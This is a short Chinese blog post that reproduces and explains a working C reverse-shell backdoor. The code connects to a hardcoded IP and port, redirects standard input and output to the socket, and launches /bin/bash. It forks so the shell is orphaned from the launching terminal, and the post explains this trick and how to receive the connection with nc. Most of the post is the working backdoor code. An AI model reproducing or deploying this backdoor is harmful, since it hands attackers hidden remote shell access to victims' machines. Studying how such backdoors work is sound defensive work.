偶然看到了一个看上去简单却又没那么简单的shellcode,但是却隐藏了很多有意思的事情,不妨一起来看一下。

show me the code

// from https://www.mi1k7ea.com/2019/03/24/C编写实现Linux反弹shell/
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <signal.h>
#include <dirent.h>
#include <sys/stat.h>

int tcp_port = 6666;
char *ip = "192.168.17.129";

void reverse_shell(){
        int fd;
        if ( fork() <= 0){                  // 让子进程执行execve,父进程退出,
                struct sockaddr_in addr;
                addr.sin_family = AF_INET;
                addr.sin_port = htons(tcp_port);
                addr.sin_addr.s_addr = inet_addr(ip);

                fd = socket(AF_INET, SOCK_STREAM, 0);
                if ( connect(fd, (struct sockaddr*)&addr, sizeof(addr)) ){
                        exit(0);
                }

                dup2(fd, 0);
                dup2(fd, 1);
                dup2(fd, 2);
                execve("/bin/bash", 0LL, 0LL);
        }
        return;
}

void main(int argc, char const *argv[])
{
        reverse_shell();
        return 0;
}

效果

正常的反弹shell backdoor,在当前bash下执行:

  • 子进程不用管
  • 进程的PPID是当前的shell

本backdoor的效果:

  • PPID=0

简单分析

核心思想:process的parent的进程退出了,那么孤儿进程就会给PID=0的进程。

代码中的dup2是什么意思呢?为什么可以从远程输入命令给它呢?

原理如下:

  • dup2的操作是把0 1 2 都指向socket。也就是输入来自socket,输出输向socket。
  • nc -lvvp 的作用就是在建立连接之后,向这个client发送数据的而已。
  • 命令whoami作为输入发过去,client看到标准输入里有东西了,就读过来了。client的输出也还是输向socket,那么nc那边就收到了。

(关于原理我还画了一张丑陋的图,这就暂时就不贴出来了...)

总结

起初我们在bash中执行program,bash退出则program退出。

因此引入nohup,可以解决当前shell退出导致的,program退出问题。

而本方法:用fork在child process中执行操作,让parent退出,那么child自动移交给PID=0的进程了。